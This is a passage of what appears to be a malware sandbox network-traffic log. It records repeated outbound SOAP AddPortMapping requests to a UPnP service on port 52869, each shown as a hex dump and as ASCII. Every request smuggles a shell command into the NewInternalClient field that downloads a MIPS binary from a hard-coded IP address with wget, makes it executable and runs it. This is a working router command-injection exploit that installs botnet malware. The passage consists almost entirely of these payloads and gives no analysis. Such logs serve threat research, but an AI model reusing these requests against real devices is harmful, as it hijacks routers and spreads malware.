                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      115192.168.2.1543286185.241.254.12552869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:58.888051987 CET971OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      116192.168.2.154982245.207.187.9752869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:59.507355928 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:01.016952991 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:02.808940887 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:06.456826925 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:13.624620914 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 